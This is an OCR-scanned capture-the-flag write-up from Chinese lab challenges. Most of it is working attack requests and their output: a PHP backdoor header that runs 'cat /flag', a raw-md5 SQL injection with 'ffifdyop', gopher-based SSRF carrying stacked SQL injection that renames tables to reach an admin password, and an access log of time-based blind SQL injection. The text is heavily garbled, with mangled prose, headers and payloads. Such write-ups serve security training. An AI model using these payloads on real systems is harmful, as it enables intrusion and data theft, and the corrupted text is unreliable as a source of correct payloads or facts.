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User-Agentt: zerodiumsystem( )


http://cn-sec.com/archives/313267.html

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

GET/HTTR/1.1

Host: eci-2ze08g0rhfwb5960hg 1 g.cloudecil.ichungiu.com

User-Agentt: zerodiumsystem("cat /flag");

Accept: text/html application/xhtml+xml, application/xml;q=0.9,image/webp */*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie:
Hm_lvt_2d0601bd28de7d49818249¢f35d95843=1602081028,1609320401,1610418666,1
611217018; _jsluid_h=880728a44f69985be86ef070d80ced8a;

PHPSESSID=e598bas fdfad46290a3b0c9b64301 a42

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

BB B R

S

HTTP/1.1 200 QK

Date: Sat, 03 Apr 2021 15:58:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

X-Via-JSL: e88282a,-

X-Cache: bypass

Content-Length: 7092

flag{f334da6a-948c-48a2-a160-43a5519eb58b} <br />

<b>Warning</b>: Cannot modify header information - headers already sent by
(output started at REMOVETHIS: sold to zerodium, mid 2017:1) in
<b>/var/www/html/htmlport.php</b> on line <b>2</b><br />

<br />

<b>Warning</b>: session_start(): Session cannot be started after headers have
already been sentin <b>/var/www/html/htmiportphp</b> online <b>5</b><br />
<IDOCTYPE HTML>

<htrllang="zh-CN">

<head>

<meta charset="UTF-8">

<title>PABE</title>

<metaname="keywords" content=""ABE" />

<meta hame="description" content=""/>

<linlk ral="crlachaat hraf="recfindew rec/s
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£"SELECT * FROM users WHERE password = ““.md5($password,true).”" limi

to1%;
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username: | |
password: | |
Submit

RYEE B RR, XEE—PEFNZM A — PR nd5($string, true) ZJEXTERIIT, MTERIEAN

PS C:\Users\Administrator\Downloads> php -r

PS C:\Users\Administrator\Downloads



{BRBERA X B ffifdyop, HITIET

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
GET /fusername=admin&password = ffifdyop HTTP/1.1 A HTTP/1.1 200 OK
Host: eci-2zecghthq774yS62w32y.cloudecil.ichungiv.com Date: Sat, 03 Apr 2021 14:49:37 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Content-Type: text/html; charset=UTF-8
Firefox/87.0 Content-Length: 377
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;,q=0.8 Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Vary: Accept-Encoding
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1281 08:52:00 GMT
Connection: close Cache-Control: no-store, no-cache, must-revalidate
Referer: Pragma: no-cache
http://eci-2zecqhthq774y562w32y.cloudecil.ichungiu.com/?username=admin&passwo Vary: Accept-Encoding
rd =ffifdyop X-Via-JSL: eB88282a,-
Cookie: X-Cache: bypass
Hm_lvt_2d0601bd28de7d49818249cf35d95943=1609081028,1609320401,1610418666
A611217018; PHPSESSID=f1vec5722cnbqb&9rmfald4ndgl17; <IDOCTYPE htmi>
_ jsluid h=2844d62b1cf25e73bf7e553b53a88b7d <html>
Upgrade-Insecure-Requests: 1 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<form action="" method="get">

username: <inputtype="text' name="username" value=""><br />
password: <input type="text" name="password" value=""><br />
<input type="submit" value="Submit">

</form>
</body>
<l-- E5j
</html=

hack

Fr AR F/EIF KA — 1 ReM Frifdyop BB FFEMR TR, BRIIER K
https://blog.csdn.net/March97/article/details/81222922

PS C:\Users\Administrator\Downloads> php -r

Command line code:1:
string(16)
PS C:\Users\Administrator\Downloads

rname=admin&password 1912466741651878684928

BRI E T
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your way to gopher

Submit

RIS H KRR, HEENMI—T admin.php

/ssrf.php?way=127.0.0.1%2Fadmin.php


https://blog.csdn.net/March97/article/details/81222922
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your way to gopher

Submit
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HackBar

Encryption ~ Encoding ~ SQL -~ XSS ~ Other ~

& Load URL http:/feci-2zecqghthq7 74y562w32y.cloudeci1.ichungiu.com/ssrf.php?way=127.0.0.1%2Fadmin.php

4 spit URL

Execute
: [0 Postdata [0 Referer [0 User Agent [ Cookies Clear All

M—TFTENEEEHERENE, REEHE —TIX/ 127.0.0.1/admin.php K, BT gopher HHil KiEPOSTHIELZE—T,
FH pythonf&j B 4L 38 R

from urllib.parse import quote

(payload),payload)

quote(quote(postdata))

gopher://127.0.0.1:80/_%250AP0ST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2

520application/x-www-form-urlencoded%250AContent-Length%253A%252031%250A%250Ausername%253Dmochu7%2526password%25
3Dmochu7%250A




<« @ |© #& eci-2zecqnthq774ys cloudeci ichungiu.com/ssrf.php?way=gopher;//127.0.0.1:80, dmin.php%2520HTTP/1.1%250AH0St%253A%2520127.0.0.1%250AContent-Type%253 =
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your way to gopher
Submit

HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:04:04 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=govnnsrbspu7unaphcgv16d8v7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache Vary: Accept-Encoding Content-Length: 1191 Content-Type: text/html; charset=UTF-8 array(0) {
3

EEEERHR

Encryption ~  Encoding - SQL ~ XSS ~ Other ~ Contribute nowl HackBar v2
@ Load URL http-//eci-2zecqhthq774y562w32y.cloudeci1.ichungiu.com/ssrf. php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AH0st%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-
N www-form-urlencoded%250AContent-Length%253A%252031%250A%250Ausername%253Dmochu7%2526password%253Dmochu7%250A
& Split URL
o SP
» ) Execute

[0 Postdata [0 Referer [0 User Agent [0 Cookies Clear All

BRIBIE, ETRUA—TEN, MANESSEE

sername=mochu ochu?7

passwo

HEREE T

<« @ | © % eci-2zecahthq774y562w32y cloudeci ichungiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250APOSTY dmin.php%2520HTTP/1.1%250AH0st%253A%2520127.0.0.1%250AContent Type%253A° =+ fr| & o9 - xdTe =
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your way to gopher -
Submit

HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:06:13 GMT Server: Apache/2.4.18 (Ubuntu) Set-Coockie: PHPSESSID=1b8qjjgi1u952glk70na152164; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, ne-cache, must-revalidate
Pragma: no-cache Vary: Accept-Encoding Content-Length: 1329 Content-Type: text/html; charset=UTF-8 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near
“mochu7" at line 1

EaEERER

Encryption ~ Encoding ~ SQL -~ XSS ~ Other - Contribute now! HackBar v2
& Load URL http:/feci-2zecqhthq774y562w32y.cloudeci.ichunqgiu.com/ssrf php ?way=gopher:/127.0.0.1:80/_%250APOST%2520/admin php%2520HTTP/1.1%250AHost%253A%2520127_0.0.1%250AContent-Type%253A%2520application/x-
N www-form-urlencoded%250AContent-Length%253A%252032%250A%250Ausername %253Dmochu7%2527%2526password%253Dmochu7 %250A
O split URL
&
» Execute

[0 Postdata [0 Referer [0 User Agent [1 Cookies Clear All

R EBXRAEN, AILid/EmKfuzzill R X B, 1 HIXANE 8RS E p AR5 IR

gopher://127.0.0.1:80/_%250AP0ST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2)
520application/x-www-form-urlencoded%250AContent-Length%253A%252048%250A%250Ausername’%253Dmochu7%2527%253Bshow%2|
520databases%2523%2526password%253Dmochu7%250A
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your way to gopher °

Submit

HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:09:01 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=rpti9ocgtpt3frbcdbdabngt21; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache Vary: Accept-Encoding Content-Length: 1515 Content-Type: text/html; charset=UTF-8 array(0) {

}

array(3) {

[0]=>

array(1) {
["Database”]=>
string(3) "ctf”

. EeEER%

array(1) {
["Database"]=>
string(4) "ctf2"
i

21=>
array(1) { [
["Database”]=>
string(18) "information_schema®

[
3

REEE
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Encryption - Encoding -~ SQL~ XSS~  Other ~ Contribute now! HackBar v2

& Load URL http-//eci-2zecqhthq774y562w32y cloudeci 1 ichungiu.com/ssrf php?way=gopher://127.0.0.1:80/_%250AP0OST%2520/admin php%2520HT TP/1.1%250AH05t%253A%2520127 0.0.1%250AContent-Type%253A%2520application/x-
N www-form-urlencoded%250AContent-Length%253A%252048%250A%250Ausername%253Dmochu7%2527%253Bshow%252 0databases%2523% 25 26password%253Dmochu7%250A
§ spit urRL
&
» ) Execute

O Postdata [ Referer [ User Agent [ Cookies Clear All

gopher://127.0.0.1:80/_%250AP0ST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2
520application/x-www-form-urlencoded%250AContent-Length%253A%252053%250A%250Ausername’%253Dmochu7%2527%253Buse%25
20ctf%253Bshow%2520tables’%2523%2526password%253Dmochu7%250A

BERHEERS + -

&« C' | © # ec-2zecahthq774y562w32y.cloudecil ichungiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250APOST%25 dmin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type %253 e ¥ B 0O ® ® ‘] ju ® =
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your way to gopher °

submit

HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:11:02 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=de8lio395rbmtmqacrrglq5j34; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache Vary: Accept-Encoding Content-Length: 1317 Content-Type: text/html; charset=UTF-8 array(0) {

}

array(1) {

[0]=>

array(1) {
[Tables in ctf']=>
string(5) "users”

: EEeEERR

HackBar

Encryption ~  Encoding ~ SQL v XSS~ Other ~ Contribute now! HackBar v2

@ Load URL http-//eci-2zecqhthq774y562w32y cloudeci 1 ichungiu.com/ssrf php?way=gopher://127.0.0.1:80/_%250AP0OST%2520/admin php%2520HT TP/1.1%250AH05t%253A%2520127 0.0.1%250AContent-Type%253A%2520application/x-
. www-form-urlencoded%250AContent-Length%253A%252053%250A%250Ausername%253Dmochu7%2527%253Buse %252 0ctf%253Bshow%2520tables%2523%2526 password%253Dmochu7 %250A
@ spit urL
&
» ) Execute

O Postdata [ Referer [ User Agent [ Cookies Clear All

how tables#&password=mochu7




gopher://127.0.0.1:80/_ %250AP0ST%2520/admin.php%2520HTTP/1.1%250AH0ost%253A%2520127.0.0.1%250AContent-Type%253A%2
520application/x-www-form-urlencoded%250AContent-Length%253A%252054%250A%250Ausername%253Dmochu7%2527%253Buse%25

20ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%250A

BRHEERS x e -

<« @ | © #& ed-2zecqnthq774y562w32y.cloudecil ichungiu.com/ssrf.php?way=gopher//127.0.0.1:80/ %250APOST%2520/admin.php%2520HTTP/1.1%250AH0st%253A%2520127.0.0.1%250AContent-Type%253A° «o« ¥ | & o® o PTe =
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your way to gopher

Submit

HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:12:21 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=0rok7gljm258002ukm80f96a16; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache Vary: Accept-Encoding Content-Length: 1449 Content-Type: text/html; charset=UTF-8 array(0) {

3

array(2) {

[0]=>

array(1) {

["Tables_in_ctf2"]=>

string(10) "fake_admin”

b EEEERHR

array(1) {

["Tables_in_ctf2"]=>

string(27) "real_admin_here_do_you_find"
i

}

HackBar

Encryption ~ Encoding -~ SQL -~ XSS - Other ~ Contribute nowl HackBar v2
& Load URL http://eci-2zecqhthq774y562w32y.cloudeci1.ichungiu.com/ssrf. php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AH0st%253A%2520127 0.0.1%250AContent-Type%253A%2520application
N hx-www-form-urlencoded%250AContent-Length%253A%252054%250A%250Ausername%253Dmochu? %252 7%253Buse %252 0ctf2%253Bshow%2520tables%2523%2 526password%253Dmochu? %250 A
% Split URL v
&

Execut
Y Brecule O Postdata [ Referer [ User Agent [ Cookies Clear All

Tables_in_ctf:
users
Tables_in_ctf2:

fake_admin

real_admin_here_do_you_find

BAVEE R KR B IEKadmin i

fake_adm

gopher://127.0.0.1:80/_%250AP0ST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2)
520application/x-www-form-urlencoded%250AContent-Length%253A%252073%250A%250Ausername%253Dmochu7%2527%253Buse%25
20ctf2%253Bshow%2520columns%2520from%2520%2560fake_admin%2560%2523%2526password’%253Dmochu7%250A




BEBHERRR x e -
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[1]=>

array(6) {

["Field™]=> [er——
string(8) "username”

["Type’]=>

string(4) "text”

["Null"]=>

string(3) "YES®

["Key"]=>

string(0) "

["Default’]=>

NULL

["Extra"]=>

string(0) "

}

21=>

array(6) {
["Field"]=>
string(13) "fake_password”
["Type']=>
string(4) "text”
["Null"]=>
string(3) "YES"
['Key'l=>
string(0) "

HackBar

Encryption ~ Encoding -~ SQL -~ XSS -~ Other ~ ‘Contribute now! HackBar v2
@ Load URL http-//eci-2zecqhthq774y562w32y.cloudeci1.ichungiu.com/ssrf. php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AH0st%253A%2520127 0.0.1%250AContent-Type%253A%2520application
p Ix-www-form-urlencoded%250AContent-
% SPitURL Length%253A%252073%250A%250Ausername%253Dmochu7%2527 %253Buse %2520ctf2%253Bshow%2520columns %2520from%2520%256 0fake_admin%2560%2523%2526password%253Dmochu7%250A v
») Execute

[0 Postdata [0 Referer [0 User Agent [0 Cookies Clear All

username=mochu?7';use ctf2;show columns from "“real_admin_here_do_you_find #&password=mochu7

gopher://127.0.0.1:80/_%250AP0ST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2)
520application/x-www-form-urlencoded%250AContent-Length%253A%252090%250A%250Ausername’%253Dmochu7%2527%253Buse%25
20ctf2%253Bshow%2520columns%2520from%2520%2560real_admin_here_do_you_find%2560%2523%2526password%253Dmochu7%250A

BERHEERS x o —

& C | © # eci-2zecahthq774: 'y.cloudecil ichungiu.com/ssrf.php?w.

=gopher://127.0.0.1:80/_%250APOSTY dmin.php%2520HTTP/1 %2520127.0.0.1%250AContent-Type %253, LIS « 2 4 O ® ® 3 ‘]
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s —
["Extra’]=>

string(0) ™"

! L 1
[11=>

array(6) {

["Field"]=> rean]
string(8) "username”

["Type']=>

string(4) "text”

["Null"]=>

string(3) "YES®

["Key"]=>

string(0) ™"

["Default’]=>

NULL

["Extra’]=>

string(0) "

}

21=>
array(6) {
["Field"]=>

string(8) "password”
["Type']=>

string(4) "text”
["Null"]=>

HackBar

Encryption ~ Encoding -~ SQL -~ XSS - Other ~ Contribute nowl HackBar v2

& Load URL http-//eci-2zecqhthq774y562w32y.cloudeci1.ichungiu.com/ssrf php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AH0st%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-
www-form-urlencoded%250AContent-

O
& SpitURL Length%253A%252090%250A%250Ausername%253Dmochu7 %2527 %253Buse%2520ctf2%253Bshow%2520columns%2520from%2520%256 0real_admin_here_do_you_find%2560%2523%2526password%253Dmochu7%250A

» ) Execute

O Postdata [0 Referer [0 User Agent [ Cookies Clear All

ARM Z LB F BN ESE real_admin_here_do_you find ¥H K] password ZEEHE, HREXETJE select « handler %5,
LR EHEREEMAEATARZEREIE T, FAXERAREZ AsEMAAIRE, B BEA IR ILH L0E — Ml B
HEBEHFIRKIRAL (real_admin_here_do_you_find )N BIEF IR ( fake_admin ), SRJEHE— TIENTS B 24503 B9 503 1 5
5

username=mochu?7';rename table fake_admin to mochu7;rename table real_admin_here_do_you_find to fake_admin#&passw

ord=mochu?7




gopher://127.0.0.1:80/_ %250AP0ST%2520/admin.php%2520HTTP/1.1%250AH0ost%253A%2520127.0.0.1%250AContent-Type%253A%2
520application/x-www-form-urlencoded%250AContent-Length%253A%2520122%250A%250Ausername%253Dmochu7%2527%253Brenam

e%2520table%2520fake _admin%2520t0%2520mochu7%253Brename%2520table%2520real admin_here_do_you_ find%2520to0%2520fak
e _admin%2523%2526password%253Dmochu7%250A

BEHEERR b+ =
&« G  © #& eci-2zecghthg774y5 y.cloudecil.ichungiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250APOSTY dmin.php%2520HTTP/1 50AHOS1%253A%2520127.0.0.1%250AContent-Type%253A7 + €| O ® @ 1 ‘] ® =
& NEWSCTF W/ BUUCTF & Jarvis O) @ BMZCTF (& MhiR @ CTFHub G Google HK By Google Translate [Smf=citez-3

your way to gopher °

Submit

HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:26:17 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=06qp887hs1tibg0makga8763f6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache Vary: Accept-Encoding Content-Length: 1191 Content-Type: text/html; charset=UTF-8 array(0) {
}

EeEER%

HackBar

Encryption ~  Encoding - SQL ~ XSS ~ Other ~ Contribute nowl HackBar v2

@ Load URL hitp://eci-2zecqhthq774y562w32y.cloudecii.ichungiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250AP0OST%2520/admin.php%2520HTTP/1.1%250AH0st%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-
www-form-urlencoded%250AContent-

Length%253A%2520116%250A%250Ausemame%253Dmochu7%2527%25 3Brename%2520table%2520fake_admin%2520to%2520mochu7%253Brename%2520real_admin_here_do_you_find%2520to%2520fake_admin%2523%2
526password%253Dmochu7%250A

& spiit URL

» Execute

O Postdata [ Referer [ User Agent [ Cookies Clear All

username=mochu7'or 1=1;show tables;#&password=mochu?

BRHEERR X =
&« @ | © & eci-22¢j6028¢jTasafdBbbk.cloudeci1 ichunqiu.com/ssr.php?way=gopher;//127.0.0.1:80/ %250APOST%2520/admin.php%2520HTTP/1.1%250AH0s1%253A%2520127.00.1%250AContent-Type%253A%7 =« f| ¥+ @ O @ ® ¢ ® =
& NEWSCTF ¥ BUUCTF © Jarvis O) © BMZCTF (& XUAt® @ CTFHub G Google HK By Google Translate B mmE

your way to gopher

Submit
HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 14:17:53 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=vlipg68ue68iv7imz222nckd8sqe; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache Vary: Accept-Encoding Content-Length: 1653 Content-Type: text/html; charset=UTF-8 array(1) {
[0]=>
array(3) {
[id*]=>
string(1) "1*
["username®]=>
string(11) "admin_inner”
["password™]=>

string(32) "5fbde07ded14cicB2afbd4vbafd02203" ~Gemmm——_— F‘AEE??E
) [=] =] I

)

array(2) {

[0]=>

array(1) {
[*Tables_in_ctf2"]=>
string(10) "fake_admin®

)

[1]=>

array(1) {

["Tables_in_ctf2"]=>

string(5) "mochu”

; RxEn

HackBar

Encryption ~ Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2

@ Load URL http://eci-2zej60z8cj7aeafd8bbk.cloudeci1.ichungiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AH0st%253A%2520127.0.0.1%250AContent-
Type%253A%2520application/x-www-form-urlencoded%250AContent-
@ Spiit URL Length%253A%252052%250A%250Ausermame%253Dmochu7%25270r%25201%253D1%253Bshow%2520tables%253B %2523%2526password%253Dmochu7%250A

») Execute .
O Postdata O Referer O User Agent O Cookies Clear All

B EIEfladminZiY: 5fb4e07de9l4cfc82afbadvbafan2203
B 5 ENE IE Fadminiik P 42 f1 256G

username=admin&password=5fb4e07de914cfc82afb44vbat402203

RAREAIVIHE /flag.php , I HEFIELEHE cookiex



& & view-source:http://eci-2ze]60z8¢jTacafd8bbk.cloudecil.ichungiu.com/ssrf.php?way=gopher://127.0.0.1

& NEWSCTF W BUUCTF ©» Jarvis O) ® BMZCTF (& Wfst: @& CTFHub G Google HK B Google Translate

<html>

<body>

<form action="">

your way to gopherdbr>

{input type="text” name="way” value="">
<br»

<input type= submit” wvalue="Submit”>

</ form>

</body>
</html >

HTTP/1.1 302 Found

Date: Sat, 03 Apr 2021 14:21:16 GHT

Server: Apache/2.4.18 (Ubuntu)

Set-Cookie: PHPSESSID=70f9%vTgl5brllak73ov24ovcl; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GNT

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no—cache

Location: . /fflag. php

Content-Length: 1166

Content-Type: text/html; charset=UTF-8

<html >

<head>
<{meta charset="UTF-8">
itleBBHERERS I titler
<Shead>
¢astyle type= textfcss »
.table |
disgplay: table;
width: 99%,

« C © & eci-2zej60z8¢7aeafdBbbk.cloudeci ichungiu.com/flag.php
& NEWSCTF W BUUCTF o Jarvis O) © BMZCTF (& Bf5#HR & CTFHubk G Google HK By Google Translate

flag{féede7e1-6114-4941-849e-faa%e078cfda)

PHPSESSID

yg.csdn.net/mochu /7




Misc
{//F% :m\ﬁi}’ﬁ"—%
i A B B B

*

7] accesslog - iTEE

TR REE) BRO) BBV EEH)

192.168.52.156 - - [11/Mar/2021:17:50:05 +0000] "GET /index.php?id=1'%20and%20if{ord(substr({select?20schem 0
192.168.52.156 - - [11/Mar/2021:17:50:05 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select¥e20schema(),1,1))= 119 sIe-ep(Z) + HTTP/1.17 200 377 python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select¥e20schemal) T, T=T20sleep(2], FHTTIP/ T T 2007399 python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select3e20schemal), 1,1))=121,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET findex.php?id=1"%20and%20if(ord(substr((select%620schema(),1,1))=122,sleep(2),1)--+ HTTP/1.1" 200 399 “python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET /findex.php?id=1'%20and%20if(ord(substr({select3620schema(),1,1))=65,sleep(2),1)--+ HTTP/1.1" 200 399 python-requests/2.21.07
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET /findex.php?id=1'%20and%20if(ord(substr({select%620schema(),1,1))=66,sleep(2),1)--+ HTTP/1.1" 200 399 python-requests/2.21.07
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET /findex.php?id=1'%20and%20if{ord(substr({select%s20schema(),1,1))=67 sleep(2),1)--+ HTTP/1.1" 200 399 ~ python-requests/2.21.07
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET /findex.php?id=1'%20and%20if(ord(substr({select%s20schema(),1,1))=68,sleep(2),1)--+ HTTP/1.1" 200 399 ~ python-requests/2.21.07
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET findex,php?id=1"%20and%20iflord(substr((select%20schema(),1,1))=69,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET findex,php?id="1'%20and%20iflord(substr((select¥20schema(),1,1))=70,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET findex,php?id=1'%20and%20iflord(substr((select¥20schema(),1,1))=71,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET findexphp?id=1'%20and%20if(ord(substr((select¥20schema(), 1,1))=72,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET findex,php?id=1'%20and%20iflord(substr((select¥20schema(),1,1))=73,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:07 +0000] "GET /indexphp?id=1'%20and%20iflord(substr((select?20schema(), 1,1))=74,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET findex,php?id="1'%20and%20if(ord(substr((select?20schema(),1,1))=75,sleep(2),1)--+ HTTR/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET findex,php?id="1'%20and%20if(ord(substr((select?20schema(), 1,1))=76,sleep(2),1)--+ HTTR/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index.php?id=1"%20and%20if{ord(substr((select¥s20schema(),1,1))=77 sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select¥e20schemal), 1,1))=78,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select¥e20schemal), 1,1))=79,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select3e20schema(), 1,1))=80,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index.php?id=1"%20and%20if(ord(substr((select%e20schema(),1,1))=81,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index.php?id=1"%20and%20if(ord(substr({select%e20schema(),1,1))=82,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index,php?id=1'%20and%20iflord(substr((select?20schema(),1,1))=83,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET findex.php?id=1'%20and%20if{ord(substr({select%e20schema(),1,1))=84,sleep(2),1)-- + HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET findex,php?id=1"%20and%20iflord(substr((select?20schema(),1,1))=85,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /findex.php?id=1'%20and%20if(ord(substr({select%s20schema(),1,1))=86,sleep(2),1)--+ HTTP/1.1" 200 399 ~ python-requests/2.21.07
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET findex,php?id=1"%20and%20iflord(substr((select%20schema(),1,1))=87 sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET /index,php?id=1'%20and%20if(ord(substr((select%20schema(), 1,1))=88,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET findex,php?id="1'%20and%20if(ord(substr((select¥20schema(), 1,1))=89,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:08 +0000] "GET findexphp?id=1'%20and%20if(ord(substr((select¥20schema(), 1,1))=90,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /indexphp?id="1'%20and%20if(ord(substr((select?20schema(), 1,1))=44,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /indexphp?id="1'%20and%20iflord(substr((select¥20schema(), 1,1))=95,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1'%20and%20if(ord(substr((select?s20schema(),1,1))=61,sleep(2),1)--+ HTTP/1.1" 200 399 -~ "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1'%20and%20if(ord(substr((select?s20schema(),2, 1))=48,sleep(2),1)--+ HTTP/1.1" 200 399 -~ "python-requests/2.21.0"
